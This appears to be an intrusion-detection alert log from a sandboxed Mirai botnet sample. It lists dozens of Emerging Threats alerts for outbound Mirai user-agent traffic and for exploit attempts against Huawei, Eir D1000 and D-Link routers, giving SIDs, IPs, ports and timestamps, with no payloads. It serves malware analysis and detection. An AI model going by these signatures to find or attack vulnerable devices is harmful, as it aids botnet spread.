ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.141.143.150

Timestamp:	192.168.2.2395.141.143.15050112802027121 10/23/22-17:58:17.393076
SID:	2027121
Source Port:	50112
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 72.224.53.16

Timestamp:	192.168.2.2372.224.53.165895275472023548 10/23/22-17:58:32.325556
SID:	2023548
Source Port:	58952
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.69.27.122

Timestamp:	192.168.2.23104.69.27.12234794802841623 10/23/22-17:57:25.409148
SID:	2841623
Source Port:	34794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.5.244

Timestamp:	192.168.2.23178.62.5.24444888802846380 10/23/22-17:57:38.467376
SID:	2846380
Source Port:	44888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.211.106.20

Timestamp:	192.168.2.2395.211.106.2050420802027121 10/23/22-17:58:21.852505
SID:	2027121
Source Port:	50420
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.215.75.189

Timestamp:	192.168.2.2388.215.75.18959232802027121 10/23/22-17:57:57.629258
SID:	2027121
Source Port:	59232
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.113.103.194

Timestamp:	192.168.2.23176.113.103.19454454802841623 10/23/22-17:57:20.378263
SID:	2841623
Source Port:	54454
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.142.172.242

Timestamp:	192.168.2.2395.142.172.24238786802027121 10/23/22-17:57:28.457799
SID:	2027121
Source Port:	38786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.17.224.182

Timestamp:	192.168.2.232.17.224.18260416802846457 10/23/22-17:57:07.079283
SID:	2846457
Source Port:	60416
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.3.76.57

Timestamp:	192.168.2.2388.3.76.5746230802027121 10/23/22-17:58:05.207821
SID:	2027121
Source Port:	46230
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.218.185.102

Timestamp:	192.168.2.2389.218.185.10243754802846457 10/23/22-17:57:56.017518
SID:	2846457
Source Port:	43754
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.25.111.44

Timestamp:	192.168.2.2382.25.111.4435170802846380 10/23/22-17:57:07.339836
SID:	2846380
Source Port:	35170
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.39.4.27

Timestamp:	192.168.2.2366.39.4.2742812802841623 10/23/22-17:58:39.367963
SID:	2841623
Source Port:	42812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.64.189.96

Timestamp:	192.168.2.2382.64.189.9633426802846380 10/23/22-17:56:39.282434
SID:	2846380
Source Port:	33426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.5.194

Timestamp:	192.168.2.2395.100.5.19460618802027121 10/23/22-17:58:30.360553
SID:	2027121
Source Port:	60618
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.10.13

Timestamp:	192.168.2.2388.221.10.1349488802027121 10/23/22-17:57:52.295094
SID:	2027121
Source Port:	49488
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.161.88

Timestamp:	192.168.2.2395.217.161.8852038802027121 10/23/22-17:58:15.276855
SID:	2027121
Source Port:	52038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.247.109.25

Timestamp:	192.168.2.2337.247.109.2546566802846457 10/23/22-17:57:31.330217
SID:	2846457
Source Port:	46566
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.131.28.133

Timestamp:	192.168.2.2395.131.28.13339304802027121 10/23/22-17:57:33.463534
SID:	2027121
Source Port:	39304
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.141.96.8

Timestamp:	192.168.2.2395.141.96.836304802027121 10/23/22-17:58:39.682437
SID:	2027121
Source Port:	36304
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.223.14.61

Timestamp:	192.168.2.2382.223.14.6151966802846380 10/23/22-17:57:07.292473
SID:	2846380
Source Port:	51966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 200.84.15.118

Timestamp:	192.168.2.23200.84.15.11857298802835221 10/23/22-17:57:38.963880
SID:	2835221
Source Port:	57298
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.59.181.39

Timestamp:	192.168.2.2395.59.181.3949176802027121 10/23/22-17:57:34.602784
SID:	2027121
Source Port:	49176
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.212.146.240

Timestamp:	192.168.2.2352.212.146.24040500802841623 10/23/22-17:57:48.276349
SID:	2841623
Source Port:	40500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.88.27

Timestamp:	192.168.2.2395.86.88.2758636802027121 10/23/22-17:57:23.567467
SID:	2027121
Source Port:	58636
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.165.42

Timestamp:	192.168.2.23197.221.165.4257110802835222 10/23/22-17:57:40.406047
SID:	2835222
Source Port:	57110
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.142.74.131

Timestamp:	192.168.2.2395.142.74.13140848802027121 10/23/22-17:58:12.741253
SID:	2027121
Source Port:	40848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.135.107.2

Timestamp:	192.168.2.23178.135.107.241496802846380 10/23/22-17:57:55.445341
SID:	2846380
Source Port:	41496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.218.222

Timestamp:	192.168.2.2385.214.218.22245658802846457 10/23/22-17:58:37.501336
SID:	2846457
Source Port:	45658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.72.51

Timestamp:	192.168.2.23197.148.72.5134752802835222 10/23/22-17:57:20.141409
SID:	2835222
Source Port:	34752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.225.77.34

Timestamp:	192.168.2.23188.225.77.3434432802846457 10/23/22-17:58:07.947814
SID:	2846457
Source Port:	34432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.223.97.112

Timestamp:	192.168.2.2382.223.97.11250116802846380 10/23/22-17:58:06.179076
SID:	2846380
Source Port:	50116
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.3.27.131

Timestamp:	192.168.2.23112.3.27.13148980802027121 10/23/22-17:58:25.356484
SID:	2027121
Source Port:	48980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.19.248.86

Timestamp:	192.168.2.235.19.248.8637522802846457 10/23/22-17:57:08.432868
SID:	2846457
Source Port:	37522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.128.202.71

Timestamp:	192.168.2.23178.128.202.7153272802846380 10/23/22-17:57:38.466341
SID:	2846380
Source Port:	53272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.67.92.200

Timestamp:	192.168.2.2380.67.92.20040860802846380 10/23/22-17:58:39.133161
SID:	2846380
Source Port:	40860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.13.140.103

Timestamp:	192.168.2.2385.13.140.10356510802846457 10/23/22-17:57:00.155795
SID:	2846457
Source Port:	56510
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.211.72.74

Timestamp:	192.168.2.2395.211.72.7449486802027121 10/23/22-17:57:34.509756
SID:	2027121
Source Port:	49486
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.26.132

Timestamp:	192.168.2.23156.224.26.13244288372152835222 10/23/22-17:58:35.150947
SID:	2835222
Source Port:	44288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.56.168.32

Timestamp:	192.168.2.2377.56.168.325936075472835222 10/23/22-17:58:32.171744
SID:	2835222
Source Port:	59360
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.237.123.119

Timestamp:	192.168.2.2346.237.123.11950710802846457 10/23/22-17:57:53.213224
SID:	2846457
Source Port:	50710
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.183.20.55

Timestamp:	192.168.2.2368.183.20.5556204802841623 10/23/22-17:57:16.524200
SID:	2841623
Source Port:	56204
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.161.239.163

Timestamp:	192.168.2.23112.161.239.16346156802027121 10/23/22-17:56:58.387449
SID:	2027121
Source Port:	46156
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.235.181.253

Timestamp:	192.168.2.2388.235.181.25355410802027121 10/23/22-17:56:55.681778
SID:	2027121
Source Port:	55410
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.200.190.182

Timestamp:	192.168.2.2342.200.190.18251968802841623 10/23/22-17:57:25.783579
SID:	2841623
Source Port:	51968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.173.185.252

Timestamp:	192.168.2.2395.173.185.25238478802027121 10/23/22-17:57:18.747060
SID:	2027121
Source Port:	38478
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.184.61.160

Timestamp:	192.168.2.23112.184.61.16039982802027121 10/23/22-17:57:16.134908
SID:	2027121
Source Port:	39982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.226.149.107

Timestamp:	192.168.2.2388.226.149.10748668802027121 10/23/22-17:58:02.198971
SID:	2027121
Source Port:	48668
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.208.96.165

Timestamp:	192.168.2.23181.208.96.16545410802846380 10/23/22-17:56:55.691471
SID:	2846380
Source Port:	45410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.60.177

Timestamp:	192.168.2.2395.101.60.17738572802027121 10/23/22-17:57:49.525063
SID:	2027121
Source Port:	38572
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.248.69

Timestamp:	192.168.2.2388.99.248.6960762802027121 10/23/22-17:57:47.237870
SID:	2027121
Source Port:	60762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.24.137.114

Timestamp:	192.168.2.2380.24.137.11456988802846380 10/23/22-17:57:43.288432
SID:	2846380
Source Port:	56988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.71.226.187

Timestamp:	192.168.2.2380.71.226.18737474802846457 10/23/22-17:56:52.704313
SID:	2846457
Source Port:	37474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.130.243.113

Timestamp:	192.168.2.2395.130.243.11357042802027121 10/23/22-17:58:12.780192
SID:	2027121
Source Port:	57042
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.242.140

Timestamp:	192.168.2.2395.100.242.14060258802027121 10/23/22-17:58:15.244265
SID:	2027121
Source Port:	60258
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.83.167

Timestamp:	192.168.2.2395.100.83.16753580802027121 10/23/22-17:57:28.440574
SID:	2027121
Source Port:	53580
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.43.31.54

Timestamp:	192.168.2.2389.43.31.5457864802846457 10/23/22-17:58:32.908012
SID:	2846457
Source Port:	57864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.238.97.207

Timestamp:	192.168.2.23206.238.97.20740734802846380 10/23/22-17:58:39.797960
SID:	2846380
Source Port:	40734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.208.51.136

Timestamp:	192.168.2.23178.208.51.13651970802846380 10/23/22-17:57:38.461146
SID:	2846380
Source Port:	51970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.52.121.14

Timestamp:	192.168.2.23181.52.121.1442538802846380 10/23/22-17:56:55.685929
SID:	2846380
Source Port:	42538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.1.67.69

Timestamp:	192.168.2.235.1.67.6940388802841623 10/23/22-17:57:48.303753
SID:	2841623
Source Port:	40388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.234.29.107

Timestamp:	192.168.2.23156.234.29.10749996802841623 10/23/22-17:57:16.579158
SID:	2841623
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.92.18.124

Timestamp:	192.168.2.23197.92.18.12436016802841623 10/23/22-17:57:31.468482
SID:	2841623
Source Port:	36016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.33.180.151

Timestamp:	192.168.2.23178.33.180.15156192802846380 10/23/22-17:58:13.127638
SID:	2846380
Source Port:	56192
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.17.125.27

Timestamp:	192.168.2.2385.17.125.2734058802846457 10/23/22-17:58:37.499647
SID:	2846457
Source Port:	34058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.66.147

Timestamp:	192.168.2.2395.100.66.14743244802027121 10/23/22-17:57:16.237386
SID:	2027121
Source Port:	43244
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 197.27.9.247

Timestamp:	192.168.2.23197.27.9.2474236475472023548 10/23/22-17:58:32.415987
SID:	2023548
Source Port:	42364
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.160.247.150

Timestamp:	192.168.2.23112.160.247.15059220802027121 10/23/22-17:57:01.189457
SID:	2027121
Source Port:	59220
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.193.147.144

Timestamp:	192.168.2.2388.193.147.14457282802027121 10/23/22-17:57:05.148137
SID:	2027121
Source Port:	57282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.129.213.110

Timestamp:	192.168.2.2395.129.213.11050132802027121 10/23/22-17:58:17.300669
SID:	2027121
Source Port:	50132
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 189.111.98.238

Timestamp:	192.168.2.23189.111.98.2384302675472023548 10/23/22-17:57:25.383642
SID:	2023548
Source Port:	43026
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.84.236.44

Timestamp:	192.168.2.2341.84.236.4458066802841623 10/23/22-17:57:28.583889
SID:	2841623
Source Port:	58066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.151.48.193

Timestamp:	192.168.2.2388.151.48.19352490802027121 10/23/22-17:57:49.412044
SID:	2027121
Source Port:	52490
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.226.104.26

Timestamp:	192.168.2.2346.226.104.2650440802846457 10/23/22-17:58:23.986617
SID:	2846457
Source Port:	50440
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.49.25.222

Timestamp:	192.168.2.2388.49.25.22253704802027121 10/23/22-17:57:31.203571
SID:	2027121
Source Port:	53704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.181.246

Timestamp:	192.168.2.2385.128.181.24648740802846457 10/23/22-17:57:41.270057
SID:	2846457
Source Port:	48740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.94.95.130

Timestamp:	192.168.2.2378.94.95.13033366802846457 10/23/22-17:58:04.249275
SID:	2846457
Source Port:	33366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.36.116.166

Timestamp:	192.168.2.2373.36.116.16655264802841623 10/23/22-17:56:55.929374
SID:	2841623
Source Port:	55264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.59.227.55

Timestamp:	192.168.2.2337.59.227.5558258802846457 10/23/22-17:57:07.097568
SID:	2846457
Source Port:	58258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.72.41.183

Timestamp:	192.168.2.23112.72.41.18337150802027121 10/23/22-17:58:29.927222
SID:	2027121
Source Port:	37150
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.26.224

Timestamp:	192.168.2.2395.217.26.22434290802027121 10/23/22-17:56:46.624349
SID:	2027121
Source Port:	34290
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.155.193.231

Timestamp:	192.168.2.23164.155.193.23155812802846457 10/23/22-17:56:52.414039
SID:	2846457
Source Port:	55812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.241.31.136

Timestamp:	192.168.2.23171.241.31.13659352802846457 10/23/22-17:57:16.952970
SID:	2846457
Source Port:	59352
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.56.34.29

Timestamp:	192.168.2.2389.56.34.2936972802846457 10/23/22-17:57:43.757423
SID:	2846457
Source Port:	36972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.119.66.237

Timestamp:	192.168.2.23206.119.66.23745970802846380 10/23/22-17:57:18.693354
SID:	2846380
Source Port:	45970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.59.128.242

Timestamp:	192.168.2.2395.59.128.24235482802027121 10/23/22-17:57:25.848350
SID:	2027121
Source Port:	35482
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.128.230.2

Timestamp:	192.168.2.23178.128.230.234146802846380 10/23/22-17:58:13.614230
SID:	2846380
Source Port:	34146
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.90.175.168

Timestamp:	192.168.2.23112.90.175.16846254802027121 10/23/22-17:58:29.972026
SID:	2027121
Source Port:	46254
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.247.164.45

Timestamp:	192.168.2.2384.247.164.4550144802846457 10/23/22-17:57:18.395660
SID:	2846457
Source Port:	50144
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.109.69.250

Timestamp:	192.168.2.2346.109.69.25039654802846457 10/23/22-17:58:24.002096
SID:	2846457
Source Port:	39654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.87.225.103

Timestamp:	192.168.2.2380.87.225.10358326802846457 10/23/22-17:57:09.723251
SID:	2846457
Source Port:	58326
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.25.212.31

Timestamp:	192.168.2.23197.25.212.3157758802841623 10/23/22-17:57:11.163825
SID:	2841623
Source Port:	57758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.41.237

Timestamp:	192.168.2.2395.101.41.23738134802027121 10/23/22-17:57:21.242418
SID:	2027121
Source Port:	38134
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

